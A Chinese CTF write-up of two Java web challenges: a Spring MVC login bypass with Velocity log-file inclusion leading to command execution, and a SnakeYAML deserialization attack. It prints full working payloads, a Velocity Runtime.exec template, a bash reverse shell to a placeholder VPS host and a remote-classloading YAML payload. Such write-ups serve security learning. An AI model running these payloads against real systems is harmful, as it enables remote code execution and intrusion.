Web1:logiclogic
首先访问主页面,发现为空,拿到源码进行审计,是基于Spring MVC架构的,dispatcher先将用户请求根据路由交给 对应的控制器进行处理,大致看一下代码,以welcome控制器为例:
@RequestMapping("/welcome") //声明路径/welcome会映射到该方法上
public String welcome(HttpServletRequest request, Map<String, Object> model) throws Exception {
BizBean bizBean = new BizBean(request);
if (!bizBean.isLogin()) { //判断是否登录,判断依据为login是否为true,需要登陆绕过逻辑
throw new Exception("Login required");
}
String welcomeHeader = bizBean.get("welcomeHeader");
if (!Util.isExist(welcomeHeader)) { //判断文件是否存在且是否具有打开权限,若为true则进行下一步操作
throw new Exception("Page not exists");
}
Util.log(request, "WelcomeMessage:" + bizBean.get("welcomeMessage")); //将获取的welcomeMessage存入log文件中
model.put("bizBean", bizBean);
return "/templates/welcome";
}
实例化BizBean类,里面是写的接下来会用到的各种方法,大致浏览一下:
- BizBean构造方法将获取的request参数传入给每个方法:checkLogin,checkIp,initBizBean。
要使其登陆成功,就得将login的值赋为true;
首先跟进checkLogin看看,一开始看到这可能大家就开始对secret的值进行构造了,但仔细一看发现这是一个恒假的等式,因为md5里只会存在十六进制的字符,那么这条路已经走不通了。
public void checkLogin(HttpServletRequest request){
String secret = request.getParameter("secret");//这里的md5比较为假,md5值不可能出现G,十六进制
if (secret != null && DigestUtils.md5DigestAsHex(secret.getBytes()).equals("5F4DCC3B5AA765D61D8327DEB882CFG9")) {
this.put(LOGIN, "true");
} else {
this.put(LOGIN, "false");
}
}
换条思路看看其他两个方法:可以看到initBizBean方法:将获取到的请http求参数存入hashmap,如果http请求参数key与登录情况参数key同名,即在参数中指定login=true,可覆盖之前的登录情况,绕过登录逻辑。进入下一个if语句。
public void initBizBean(HttpServletRequest request) { //获取request请求参数,若value长度为1,则将value值put给key,绕过登陆逻辑
Map<String, String[]> paramMap = request.getParameterMap();
for (String key : paramMap.keySet()) {
String[] values = paramMap.get(key);
if (values.length == 1) {
this.put(key, values[0]);
} else {
String result = "";
for (String s : values) {
result = result + s;
}
this.put(key, result);
}
}
}
然后将获取到的welcomeHeader参数传入Util.isExist方法进行判断,判断文件是否存在等(
public static boolean isExist(String page) {
if (page != null && page.endsWith(".vm")) {
try { //传入的page是参数welcomeHeader,此参数收到isExist方法的限制,所以虽然welcome.vm中的参数parse可控,但是不能去包含log文件,所以这里只好利用show.vm文件的showHeader参数,由于此处路由不通过/show所以不会收到isExist方法的限制,再通过showHeader参数可控去包含log文件getshell
File pageFile = new File(velocityPath + "/" + page);
if (pageFile.exists() && pageFile.getCanonicalPath().startsWith(velocityPath)) {
return true;
}
} catch (Exception e) {
return false;
}
}
return false;
}
先不管他想干什么反正需要让isExist方法返回true就行,那就得让welcomeHeader文件存在且文件得以.vm后缀结尾,再继续跟进下面的Util.log方法。
public static void log(HttpServletRequest request, String log) { //很明显本题通过此处进行log文件写入然后利用velocity文件进行包含
String filename = DigestUtils.md5DigestAsHex(request.getRequestedSessionId().getBytes()); //文件名是JessionID的md5编码--
String filePath = velocityPath + "/logs/" + filename + ".log";
if(!new File(velocityPath + "/logs/").exists()){
new File(velocityPath + "/logs/").mkdir();
}
try {
FileOutputStream fos = new FileOutputStream(filePath, true);
fos.write(log.getBytes());
fos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
可以看到这个log方法就是将我们传入的welcomeMessage参数,传入我们可以控制的log文件中,就相当于任意文件写入。
Velocity文件包含:welcome.vm
#parse($bizBean.get("welcomeHeader"))
<body>
<span>Welcome, $bizBean.get("welcomeMessage")</span>
</body>
show.vm
#parse($bizBean.get("showHeader"))
<body>
<span>lalala</span>
</body>
</html>
Java Velocity中#parse用于导入脚本,会将引用的内容当成类似于源码文件,会将内容在引入的地方进行解析。
可以看到获取到bizBean变量的参数welcomeHeader的值,这里就可以进行log文件包含,但是我们的welcomeHeader必须经过isExist方法的检测,那后缀肯定不能为.log,此时只好利用去包含show.vm文件,利用此文件的参数showHeader参数(由于此参数没有经过show路由所以不会被检测)那就么完全可控。
payload:
/welcome?login=true&welcomeHeader=templates/show.vm&showHeader=/logs/04ecce85f47679ebe439b3312577a8b8.log&welcomeMessage=%24%62%69%7a%42%65%61%6e%2e%63%6c%61%73%73%2e%63%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%2c%20%6e%75%6c%6c%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%2c%20%6e%75%6c%6c%29%2e%65%78%65%63%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%63%74%66%2e%73%75%63%63%65%73%73%22%29
Velocity执行命令模板:
$bizBean.class.class.forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec("touch /tmp/ctf.success")
反弹shell:
$bizBean.class.class.forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/VPS-IP/VPS-PORT<&1")
Web2
easyyaml
考点:yaml.loads在目标类被指定导致反序列化、
将对象属性以文本的形式存储都被称为序列化。
welcome@Controller
@Controller
public class WelcomeController {
@Value("${application.message:Hello World}")
private String message = "Hello World";
@RequestMapping("/")
public String welcome(Map<String, Object> model, HttpServletRequest request) {
Yaml yaml = new Yaml();
User user= yaml.loadAs(request.getParameter("user"),User.class);
model.put("time", new Date());
model.put("message", this.message);
model.put("user",user);
return "welcome";
}
}
这里的参数user可控,且user类中存在Object对象,可以反序列化任意类。
User.java:
package com.ctf.velocity.Bean;
import java.io.IOException;
import java.util.ArrayList;
public class User {
public String username;
public String age;
public boolean isLogin;
public ArrayList priviledges;
public Address address; //这里address变量的类型是Address,Address里存在ext是Obkject类型的。
public int group;
}
Address.java
package com.ctf.velocity.Bean;
public class Address {
public String postCode;
public String street;
public Object ext;
public boolean isValid;
}
exp:
package com.ctf.velocity;
import com.ctf.velocity.Bean.Address;
import com.ctf.velocity.Bean.User;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.nodes.Tag;
import java.net.MalformedURLException;
import java.net.URL;
public class test {
public static void main(String[] args) throws MalformedURLException {
User user = new User();
Yaml yaml = new Yaml();
Address adrr = new Address();
URL url = new URL("http://127.0.0.1:9999/");
adrr.ext = new javax.script.ScriptEngineManager( new java.net.URLClassLoader(new URL[] {url}));
user.address = adrr;
String a = yaml.dumpAs(user, Tag.MAP,null);
// System.out.println(yaml.dumpAs(user, Tag.MAP, null));
System.out.println(a);
}
}
这里需要将要调用的UrlClassLoader等手动添加到payload。
payload:
!!com.ctf.velocity.Bean.User
address: {ext: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/"]]]], isValid: false, postCode: dfs, street: null}
age: null
group: 0
isLogin: false
priviledges: null
username: null